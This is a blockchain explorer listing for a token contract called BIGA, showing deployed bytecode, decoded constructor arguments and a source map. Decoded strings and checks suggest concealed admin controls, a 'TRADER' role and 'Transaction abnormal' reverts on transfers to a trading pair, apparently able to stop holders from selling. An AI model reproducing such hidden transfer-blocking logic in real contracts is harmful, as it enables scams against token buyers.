180910390f35b6103fb610a6e565b6040516104089190611ffb565b60405180910390f35b61042b600480360381019061042691906122c5565b610afe565b005b610447600480360381019061044291906120b9565b610b80565b6040516104549190612111565b60405180910390f35b610477600480360381019061047291906120b9565b610c66565b6040516104849190612111565b60405180910390f35b6104a760048036038101906104a29190612253565b610c83565b005b6104c360048036038101906104be9190612303565b610ca6565b6040516104d0919061216a565b60405180910390f35b6104e1610d28565b6040516104ee919061216a565b60405180910390f35b610511600480360381019061050c9190612253565b610d2e565b60405161051e919061216a565b60405180910390f35b610541600480360381019061053c919061246d565b610da3565b005b60606007805461055290612506565b80601f016020809104026020016040519081016040528092919081815260200182805461057e90612506565b80156105c95780601f106105a0576101008083540402835291602001916105c9565b820191905f5260205f20905b8154815290600101906020018083116105ac57829003601f168201915b5050505050905090565b5f6105e66105df610e55565b8484610e5c565b6001905092915050565b7f545241444552000000000000000000000000000000000000000000000000000081565b5f600654905090565b5f61062984848461101f565b5f60055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610670610e55565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050828110156106ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106e6906125a6565b60405180910390fd5b610703856106fb610e55565b858403610e5c565b60019150509392505050565b5f805f8381526020019081526020015f20600101549050919050565b6003602052805f5260405f205f915054906101000a900460ff1681565b5f801b81565b5f801b6107628161075d610e55565b61109d565b61076c8383611139565b505050565b5f6012905090565b5f805f1b61078e81610789610e55565b61109d565b8373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33856040518363ffffffff1660e01b81526004016107c99291906125d3565b6020604051808303815f875af11580156107e5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108099190612624565b91505092915050565b5f801b61082681610821610e55565b61109d565b61082e610e55565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161461089b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610892906126bf565b60405180910390fd5b6108a58383611213565b505050565b5f6109476108b6610e55565b848460055f6108c3610e55565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610942919061270a565b610e5c565b6001905092915050565b5f60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f610a03670de0b6b3a76400005f808681526020019081526020015f206002015f015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546112ed90919063ffffffff16565b905092915050565b5f805f8481526020019081526020015f205f015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16905092915050565b606060088054610a7d90612506565b80601f0160208091040260200160405190810160405280929190818152602001828054610aa990612506565b8015610af45780601f10610acb57610100808354040283529160200191610af4565b820191905f5260205f20905b815481529060010190602001808311610ad757829003601f168201915b5050505050905090565b5f801b610b1281610b0d610e55565b61109d565b7f54524144455200000000000000000000000000000000000000000000000000008314610b74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6b90612787565b60405180910390fd5b81600281905550505050565b5f8060055f610b8d610e55565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905082811015610c47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3e90612815565b60405180910390fd5b610c5b610c52610e55565b85858403610e5c565b600191505092915050565b5f610c79610c72610e55565b848461101f565b6001905092915050565b5f801b610c9781610c92610e55565b61109d565b610ca18383611213565b505050565b5f60055f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b60025481565b5f610d9b670de0b6b3a76400005f808681526020019081526020015f206002016001015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546112ed90919063ffffffff16565b905092915050565b5f801b610db781610db2610e55565b61109d565b5f80610dc284611302565b80925081935050505f151581151503610e10576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e07906128a3565b60405180910390fd5b5f8210610e4157610e3c8686610e37670de0b6b3a76400008661141390919063ffffffff16565b611428565b610e4d565b610e4c86865f611428565b5b505050505050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610eca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ec190612931565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f38576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2f906129bf565b60405180910390fd5b8060055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611012919061216a565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361108d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161108490612a4d565b60405180910390fd5b611098838383611482565b505050565b6110a78282610a0b565b611135576110cc8173ffffffffffffffffffffffffffffffffffffffff166014611580565b6110d9835f1c6020611580565b6040516020016110ea929190612b39565b6040516020818303038152906040526040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112c9190611ffb565b60405180910390fd5b5050565b6111438282610a0b565b61120f5760015f808481526020019081526020015f205f015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506111b4610e55565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45b5050565b61121d8282610a0b565b156112e9575f805f8481526020019081526020015f205f015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555061128e610e55565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b60405160405180910390a45b5050565b5f81836112fa9190612b9f565b905092915050565b5f805f5b8351811015611405575f603085838151811061132557611324612bcf565b5b602001015160f81c60f81b60f81c61133d9190612bfc565b60ff16108061137b57506009603085838151811061135e5761135d612bcf565b5b602001015160f81c60f81b60f81c6113769190612bfc565b60ff16115b1561138c575f80925092505061140e565b600181855161139b9190612c30565b6113a59190612c30565b600a6113b19190612d92565b60308583815181106113c6576113c5612bcf565b5b602001015160f81c60f81b60f81c6113de9190612bfc565b60ff166113eb9190612ddc565b836113f6919061270a565b92508080600101915050611306565b50816001915091505b915091565b5f81836114209190612ddc565b905092915050565b805f808581526020019081526020015f206002015f015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036114f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e790612e8d565b60405180910390fd5b8060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015611570576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156790612f1b565b60405180910390fd5b61157b8383836117b5565b505050565b60605f60028360026115929190612ddc565b61159c919061270a565b67ffffffffffffffff8111156115b5576115b4612349565b5b6040519080825280601f01601f1916602001820160405280156115e75781602001600182028036833780820191505090505b5090507f3000000000000000000000000000000000000000000000000000000000000000815f8151811061161e5761161d612bcf565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191690815f1a9053507f78000000000000000000000000000000000000000000000000000000000000008160018151811061168157611680612bcf565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191690815f1a9053505f60018460026116bf9190612ddc565b6116c9919061270a565b90505b6001811115611768577f3031323334353637383961626364656600000000000000000000000000000000600f86166010811061170b5761170a612bcf565b5b1a60f81b82828151811061172257611721612bcf565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191690815f1a905350600485901c94508061176190612f39565b90506116cc565b505f84146117ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117a290612faa565b60405180910390fd5b8091505092915050565b5f151560095f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16151503611889576118337f545241444552000000000000000000000000000000000000000000000000000084611139565b600160095f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505b611894838383611899565b505050565b5f151560095f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615150361196d576119177f545241444552000000000000000000000000000000000000000000000000000083611139565b600160095f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505b61197883838361197d565b505050565b61198883838361198d565b505050565b5f8111156119cd576119c17f54524144455200000000000000000000000000000000000000000000000000008484846119d2565b6119cc838383611b86565b5b505050565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611a5257611a517f54524144455200000000000000000000000000000000000000000000000000008483611dfe565b5b611a5b83611e8d565b8015611ab4575060015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611aff57603260025403611afe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611af590613038565b60405180910390fd5b5b5f670de0b6b3a7640000611b138686610997565b611b1d9190612ddc565b90505f811115611b65575f82670de0b6b3a7640000611b3c8888610d2e565b611b469190612ddc565b611b50919061270a565b9050611b5f8686858585611eaf565b50611b7e565b5f821480611b7257505f81145b15611b7d5750611b80565b5b505b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611bf4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611beb90612a4d565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611c62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c5990612e8d565b60405180910390fd5b611c6d838383611f0c565b5f60045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015611cf1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ce890612f1b565b60405180910390fd5b81810360045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254611d81919061270a565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611de5919061216a565b60405180910390a3611df8848484611f11565b50505050565b5f811115611e88575f670de0b6b3a7640000611e1a8585610997565b611e249190612ddc565b905060636002541115611e86575f611e4583836112ed90919063ffffffff16565b11611e85576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e7c90613038565b60405180910390fd5b5b505b505050565b5f808273ffffffffffffffffffffffffffffffffffffffff163b119050919050565b5f831115611f0557818110611ef9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ef090613038565b60405180910390fd5b611f04858583611f16565b5b5050505050565b505050565b505050565b805f808581526020019081526020015f206002016001015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015611fa8578082015181840152602081019050611f8d565b5f8484015250505050565b5f601f19601f8301169050919050565b5f611fcd82611f71565b611fd78185611f7b565b9350611fe7818560208601611f8b565b611ff081611fb3565b840191505092915050565b5f6020820190508181035f8301526120138184611fc3565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6120558261202c565b9050919050565b6120658161204b565b811461206f575f80fd5b50565b5f813590506120808161205c565b92915050565b5f819050919050565b61209881612086565b81146120a2575f80fd5b50565b5f813590506120b38161208f565b92915050565b5f80604083850312156120cf576120ce612024565b5b5f6120dc85828601612072565b92505060206120ed858286016120a5565b9150509250929050565b5f8115159050919050565b61210b816120f7565b82525050565b5f6020820190506121245f830184612102565b92915050565b5f819050919050565b61213c8161212a565b82525050565b5f6020820190506121555f830184612133565b92915050565b61216481612086565b82525050565b5f60208201905061217d5f83018461215b565b92915050565b5f805f6060848603121561219a57612199612024565b5b5f6121a786828701612072565b93505060206121b886828701612072565b92505060406121c9868287016120a5565b9150509250925092565b6121dc8161212a565b81146121e6575f80fd5b50565b5f813590506121f7816121d3565b92915050565b5f6020828403121561221257612211612024565b5b5f61221f848285016121e9565b91505092915050565b5f6020828403121561223d5761223c612024565b5b5f61224a84828501612072565b91505092915050565b5f806040838503121561226957612268612024565b5b5f612276858286016121e9565b925050602061228785828601612072565b9150509250929050565b5f60ff82169050919050565b6122a681612291565b82525050565b5f6020820190506122bf5f83018461229d565b92915050565b5f80604083850312156122db576122da612024565b5b5f6122e8858286016121e9565b92505060206122f9858286016120a5565b9150509250929050565b5f806040838503121561231957612318612024565b5b5f61232685828601612072565b925050602061233785828601612072565b9150509250929050565b5f80fd5b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b61237f82611fb3565b810181811067ffffffffffffffff8211171561239e5761239d612349565b5b80604052505050565b5f6123b061201b565b90506123bc8282612376565b919050565b5f67ffffffffffffffff8211156123db576123da612349565b5b6123e482611fb3565b9050602081019050919050565b828183375f83830152505050565b5f61241161240c846123c1565b6123a7565b90508281526020810184848401111561242d5761242c612345565b5b6124388482856123f1565b509392505050565b5f82601f83011261245457612453612341565b5b81356124648482602086016123ff565b91505092915050565b5f805f6060848603121561248457612483612024565b5b5f612491868287016121e9565b93505060206124a286828701612072565b925050604084013567ffffffffffffffff8111156124c3576124c2612028565b5b6124cf86828701612440565b9150509250925092565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061251d57607f821691505b6020821081036125305761252f6124d9565b5b50919050565b7f45524332303a207472616e7366657220616d74206578636565647320616c6c6f5f8201527f77616e6365000000000000000000000000000000000000000000000000000000602082015250565b5f612590602583611f7b565b915061259b82612536565b604082019050919050565b5f6020820190508181035f8301526125bd81612584565b9050919050565b6125cd8161204b565b82525050565b5f6040820190506125e65f8301856125c4565b6125f3602083018461215b565b9392505050565b612603816120f7565b811461260d575f80fd5b50565b5f8151905061261e816125fa565b92915050565b5f6020828403121561263957612638612024565b5b5f61264684828501612610565b91505092915050565b7f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e63655f8201527f20726f6c657320666f722073656c660000000000000000000000000000000000602082015250565b5f6126a9602f83611f7b565b91506126b48261264f565b604082019050919050565b5f6020820190508181035f8301526126d68161269d565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61271482612086565b915061271f83612086565b9250828201905080821115612737576127366126dd565b5b92915050565b7f6162736e756d206973206e6f742061206e756d626572000000000000000000005f82015250565b5f612771601683611f7b565b915061277c8261273d565b602082019050919050565b5f6020820190508181035f83015261279e81612765565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f6127ff602583611f7b565b915061280a826127a5565b604082019050919050565b5f6020820190508181035f83015261282c816127f3565b9050919050565b7f416363657373436f6e74726f6c3a206d656d6f206973206e6f742061206e756d5f8201527f6265720000000000000000000000000000000000000000000000000000000000602082015250565b5f61288d602383611f7b565b915061289882612833565b604082019050919050565b5f6020820190508181035f8301526128ba81612881565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61291b602483611f7b565b9150612926826128c1565b604082019050919050565b5f6020820190508181035f8301526129488161290f565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6129a9602283611f7b565b91506129b48261294f565b604082019050919050565b5f6020820190508181035f8301526129d68161299d565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612a37602583611f7b565b9150612a42826129dd565b604082019050919050565b5f6020820190508181035f830152612a6481612a2b565b9050919050565b5f81905092915050565b7f416363657373436f6e74726f6c3a206163636f756e74200000000000000000005f82015250565b5f612aa9601783612a6b565b9150612ab482612a75565b601782019050919050565b5f612ac982611f71565b612ad38185612a6b565b9350612ae3818560208601611f8b565b80840191505092915050565b7f206973206d697373696e6720726f6c65200000000000000000000000000000005f82015250565b5f612b23601183612a6b565b9150612b2e82612aef565b601182019050919050565b5f612b4382612a9d565b9150612b4f8285612abf565b9150612b5a82612b17565b9150612b668284612abf565b91508190509392505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612ba982612086565b9150612bb483612086565b925082612bc457612bc3612b72565b5b828204905092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f612c0682612291565b9150612c1183612291565b9250828203905060ff811115612c2a57612c296126dd565b5b92915050565b5f612c3a82612086565b9150612c4583612086565b9250828203905081811115612c5d57612c5c6126dd565b5b92915050565b5f8160011c9050919050565b5f808291508390505b6001851115612cb857808604811115612c9457612c936126dd565b5b6001851615612ca35780820291505b8081029050612cb185612c63565b9450612c78565b94509492505050565b5f82612cd05760019050612d8b565b81612cdd575f9050612d8b565b8160018114612cf35760028114612cfd57612d2c565b6001915050612d8b565b60ff841115612d0f57612d0e6126dd565b5b8360020a915084821115612d2657612d256126dd565b5b50612d8b565b5060208310610133831016604e8410600b8410161715612d615782820a905083811115612d5c57612d5b6126dd565b5b612d8b565b612d6e8484846001612c6f565b92509050818404811115612d8557612d846126dd565b5b81810290505b9392505050565b5f612d9c82612086565b9150612da783612086565b9250612dd47fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612cc1565b905092915050565b5f612de682612086565b9150612df183612086565b9250828202612dff81612086565b91508282048414831517612e1657612e156126dd565b5b5092915050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612e77602383611f7b565b9150612e8282612e1d565b604082019050919050565b5f6020820190508181035f830152612ea481612e6b565b9050919050565b7f45524332303a207472616e7366657220616d7420657863656564732062616c615f8201527f6e63650000000000000000000000000000000000000000000000000000000000602082015250565b5f612f05602383611f7b565b9150612f1082612eab565b604082019050919050565b5f6020820190508181035f830152612f3281612ef9565b9050919050565b5f612f4382612086565b91505f8203612f5557612f546126dd565b5b600182039050919050565b7f537472696e67733a20686578206c656e67746820696e73756666696369656e745f82015250565b5f612f94602083611f7b565b9150612f9f82612f60565b602082019050919050565b5f6020820190508181035f830152612fc181612f88565b9050919050565b7f5472616e73616374696f6e2061626e6f726d616c2c20706c65617365207472795f8201527f20616761696e0000000000000000000000000000000000000000000000000000602082015250565b5f613022602683611f7b565b915061302d82612fc8565b604082019050919050565b5f6020820190508181035f83015261304f81613016565b905091905056fea2646970667358221220466907ef837b3a9e0c138b1acb0b5707025f646313a4375f5042485d68d7cf2a64736f6c63430008170033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000000000000000000000000000000000000000000080000000000000000000000000ab507771c9949b823d98db9640f7da0114c62a1a00000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000005f5e10000000000000000000000000000000000000000000000000000000000000000004424947410000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000044249474100000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : _name (string): BIGA
Arg [1] : _tokenOwner (address): 0xab507771c9949B823D98DB9640f7Da0114C62A1A
Arg [2] : _symbol (string): BIGA
Arg [3] : _totalSupply (uint256): 1600000000

-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 000000000000000000000000ab507771c9949b823d98db9640f7da0114c62a1a
Arg [2] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [3] : 000000000000000000000000000000000000000000000000000000005f5e1000
Arg [4] : 0000000000000000000000000000000000000000000000000000000000000004
Arg [5] : 4249474100000000000000000000000000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000004
Arg [7] : 4249474100000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

27163:2595:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;21289:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;22257:188;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15457:50;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21610:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;22453:514;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17871:123;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15578:40;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15413:36;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18002:134;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;21509:93;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;29546:205;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18288:234;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;22975:290;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21726:137;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17483:185;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15734:138;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21397:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16892:215;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;23273:475;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21871:194;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18144:136;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;22073:176;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15548:21;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17676:185;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16385:497;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;21289:100;21343:13;21376:5;21369:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;21289:100;:::o;22257:188::-;22362:4;22379:36;22388:12;:10;:12::i;:::-;22402:7;22411:3;22379:8;:36::i;:::-;22433:4;22426:11;;22257:188;;;;:::o;15457:50::-;15490:17;15457:50;:::o;21610:108::-;21671:7;21698:12;;21691:19;;21610:108;:::o;22453:514::-;22590:4;22607:33;22617:6;22625:9;22636:3;22607:9;:33::i;:::-;22653:24;22680:11;:19;22692:6;22680:19;;;;;;;;;;;;;;;:33;22700:12;:10;:12::i;:::-;22680:33;;;;;;;;;;;;;;;;22653:60;;22766:3;22746:16;:23;;22724:110;;;;;;;;;;;;:::i;:::-;;;;;;;;;22870:54;22879:6;22887:12;:10;:12::i;:::-;22920:3;22901:16;:22;22870:8;:54::i;:::-;22955:4;22948:11;;;22453:514;;;;;:::o;17871:123::-;17937:7;17964:6;:12;17971:4;17964:12;;;;;;;;;;;:22;;;17957:29;;17871:123;;;:::o;15578:40::-;;;;;;;;;;;;;;;;;;;;;;:::o;15413:36::-;15445:4;15413:36;;;:::o;18002:134::-;15445:4;18085:5;;15676:30;15687:4;15693:12;:10;:12::i;:::-;15676:10;:30::i;:::-;18103:25:::1;18114:4;18120:7;18103:10;:25::i;:::-;18002:134:::0;;;:::o;21509:93::-;21567:5;21592:2;21585:9;;21509:93;:::o;29546:205::-;29662:12;15445:4;29646:5;;15676:30;15687:4;15693:12;:10;:12::i;:::-;15676:10;:30::i;:::-;29701:12:::1;29694:29;;;29724:10;29736:6;29694:49;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;29687:56;;29546:205:::0;;;;;:::o;18288:234::-;15445:4;18374:5;;15676:30;15687:4;15693:12;:10;:12::i;:::-;15676:10;:30::i;:::-;18411:12:::1;:10;:12::i;:::-;18400:23;;:7;:23;;;18392:83;;;;;;;;;;;;:::i;:::-;;;;;;;;;18488:26;18500:4;18506:7;18488:11;:26::i;:::-;18288:234:::0;;;:::o;22975:290::-;23088:4;23105:130;23128:12;:10;:12::i;:::-;23155:7;23214:10;23177:11;:25;23189:12;:10;:12::i;:::-;23177:25;;;;;;;;;;;;;;;:34;23203:7;23177:34;;;;;;;;;;;;;;;;:47;;;;:::i;:::-;23105:8;:130::i;:::-;23253:4;23246:11;;22975:290;;;;:::o;21726:137::-;21813:7;21840:9;:15;21850:4;21840:15;;;;;;;;;;;;;;;;21833:22;;21726:137;;;:::o;17483:185::-;17592:7;17619:41;17651:8;17619:6;:12;17626:4;17619:12;;;;;;;;;;;:15;;:18;;:27;17638:7;17619:27;;;;;;;;;;;;;;;;:31;;:41;;;;:::i;:::-;17612:48;;17483:185;;;;:::o;15734:138::-;15812:4;15836:6;:12;15843:4;15836:12;;;;;;;;;;;:19;;:28;15856:7;15836:28;;;;;;;;;;;;;;;;;;;;;;;;;15829:35;;15734:138;;;;:::o;21397:104::-;21453:13;21486:7;21479:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;21397:104;:::o;16892:215::-;15445:4;16982:5;;15676:30;15687:4;15693:12;:10;:12::i;:::-;15676:10;:30::i;:::-;15490:17:::1;17003:4;:14;17000:77;;17033:32;;;;;;;;;;:::i;:::-;;;;;;;;17000:77;17096:3;17087:6;:12;;;;16892:215:::0;;;:::o;23273:475::-;23391:4;23408:24;23435:11;:25;23447:12;:10;:12::i;:::-;23435:25;;;;;;;;;;;;;;;:34;23461:7;23435:34;;;;;;;;;;;;;;;;23408:61;;23522:15;23502:16;:35;;23480:122;;;;;;;;;;;;:::i;:::-;;;;;;;;;23638:67;23647:12;:10;:12::i;:::-;23661:7;23689:15;23670:16;:34;23638:8;:67::i;:::-;23736:4;23729:11;;;23273:475;;;;:::o;21871:194::-;21979:4;21996:39;22006:12;:10;:12::i;:::-;22020:9;22031:3;21996:9;:39::i;:::-;22053:4;22046:11;;21871:194;;;;:::o;18144:136::-;15445:4;18228:5;;15676:30;15687:4;15693:12;:10;:12::i;:::-;15676:10;:30::i;:::-;18246:26:::1;18258:4;18264:7;18246:11;:26::i;:::-;18144:136:::0;;;:::o;22073:176::-;22187:7;22214:11;:18;22226:5;22214:18;;;;;;;;;;;;;;;:27;22233:7;22214:27;;;;;;;;;;;;;;;;22207:34;;22073:176;;;;:::o;15548:21::-;;;;:::o;17676:185::-;17785:7;17812:41;17844:8;17812:6;:12;17819:4;17812:12;;;;;;;;;;;:15;;:18;;:27;17831:7;17812:27;;;;;;;;;;;;;;;;:31;;:41;;;;:::i;:::-;17805:48;;17676:185;;;;:::o;16385:497::-;15445:4;16504:5;;15676:30;15